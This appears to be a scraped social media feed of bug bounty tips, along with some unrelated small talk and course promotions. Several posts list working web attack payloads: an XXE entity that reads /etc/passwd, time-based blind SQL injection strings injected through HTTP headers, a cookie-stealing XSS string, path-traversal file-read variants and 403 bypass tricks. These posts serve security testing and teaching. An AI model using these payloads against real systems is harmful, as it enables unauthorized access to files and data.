Tung Phan

investment analyst @Titans_ventures
69GEM3HQ

[VIEH Group @viehgroup]

Bug Bounty Tip : XML External Entity(XXE)

1.Go to the file upload functionality in the application.

2.Upload a XML file

<!DOCTYPE test [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<test>&xxe;</test>

3.Use Burp Suite to intercept the request and modify content type.

[Caido @CaidoIO]

🎉 Happy New Year! We’re kicking off 2025 with a new plugin in the Caido Store!

Introducing “Param Finder” by @bebiksior—discover hidden parameters in Caido with ease.

Check it out: https://t.co/VEfKw9Djx6

[Cybernetic Research @cybernetic_res]

403 bypass methodology !

1- using space symbols
exmaple:
/admin -> 403
/admin%09 -> 200
/admin%20 -> 200

2- use traversal
Example:
/admin -> 403
/..;/admin -> 200

you can fuzz with traversal sometimes that's end with results

Example: /..;/FUZZ

#bugbountytips by @viehgroup

[Tung Phan @gmtungphan]

@HarshDRanjan1 Good luck man ! I think you will have learning alot experience .

[Muqsit 𝕏 @mqst_]

📝 If you are interested in learning about Secure Code Reviews, watch this video.

This video gets you a basic idea of finding Path Traversal Vulnerabilities in code,

Tutorial: https://t.co/nCWAEycujC

[ZOYA ✪ @HeyZoyaKhan]

Microsoft is Offering FREE Azure 2025 Certification Courses!

No Fee, Completely Free

These 20 Courses Includes Video Tutorials, Hand's on Labs and Notes.

Don't miss these courses if you want to make your career in 2025:

[Brut 🇮🇳 @wtf_yodhha]

⚡Tips on bypassing 403 and 401 Error!

👉Credit @RathiArpeet

#bugbounty #bugbountytip #bugbountytips

[N$🌟 @__nav1n_]

I found 2 Blind time-based SQL Injections in X-Forwarded-For: header just using Burp Intruder. Made a list of 500+ HTTP request and tested one by one for 3+ hours, here is the result..

X-Forwarded-For: 0'XOR(if(now()=sysdate(),sleep(6),0))XOR'Z

#BugBounty

[bugoverflow @bugoverfl0w]

Burp suite config for new project
Add header response replace
- 301, 302 Found => 200 OK
- 403 Forbidden => 200 OK
- Remove some noises response headers
- :false => :true magic
- xss text replace for testing xss
Del noises ext: svg,ico,woff

https://t.co/4lukrzO4My
#bugbountytips

[chux @chux13786509]

Another day another bug 🔥
This time we found #XXE in a PHP application by searching for the string: libxml_disable_entity_loader(false)
It indicates that external XML entities are able to be loaded.
Add it to your list :)
#bugbounty #bugbountytips #Hacking

[Brut 🇮🇳 @wtf_yodhha]

SQL Injection by Headers⚔️

#infosec #cybersec #bugbountytips

[chux @chux13786509]

Tip for finding SQLi in NodeJS code 🔥
1. Identify the ORM the developers used (like knex or sequelize).
2. Focus on the unsafe methods of the specific ORM: query(), run(), execute(), raw()
3. Check for input processing and craft your payload 🥷
#BugBounty #bugbountytips #Hacking

[Godfather Orwa 🇯🇴 @GodfatherOrwa]

7 SQLs

4 in php

(select(0)from(select(sleep(6)))v)/*'+(select(0)from(select(sleep(6)))v)+'"+(select(0)from(select(sleep(6)))v)+"*/

1 in aspx

orwa';%20waitfor%20delay%20'0:0:6'%20--%20

2 in graphql
orwa') OR 11=(SELECT 11 FROM PG_SLEEP(6))--
#bugbountytips #bugbountytip 💕

[Md Ismail Šojal 🕷️ @0x0SojalSec]

Payloads for LFR/LFD ⚔️
file:/etc/passwd%3F/
file:/etc%252Fpasswd/
file:/etc%252Fpasswd%3F/
file:///etc/%3F/../passwd
file:${br}/et${u}c%252Fpas${te}swd%3F/
file:$(br)/et$(u)c%252Fpas$(te)swd%3F/

#infosec #cybersec #bugbountytips

[Brut 🇮🇳 @wtf_yodhha]

🔖 GAU - A Must-Have Tool for Initial Recon 🚀

✨ Highlights:
•Extract various file types like .php, .json, .js, and more effortlessly during recon.
•Perfect for bug bounty hunters and security researchers.

#BugBounty #bugbountytips

[Coffin @lostsec_]

Header based injection:

X-Forwarded-Host: https://t.co/PaScum05qA"><img src/onerror=prompt(document.cookie)>

X-Forwarded-Host: 0'XOR(if(now()=sysdate(),sleep(10),0))XOR'Z

X-Forwarded-For: 0'XOR(if(now()=sysdate(),sleep(10),0))XOR'Z

Referer: https://t.co/bkQr0QnYCn(select*from(select(sleep(10)))a)+'

Cookie: 'XOR(if(now()=sysdate(),sleep(10),0))XOR'

User-Agent: "XOR(if(now()=sysdate(),sleep(10),0))XOR"

[Tung Phan @gmtungphan]

@Space3_gg Nice

[Tung Phan @gmtungphan]

@tamarincrypto Great, Try the foodstreet . I think you really like it .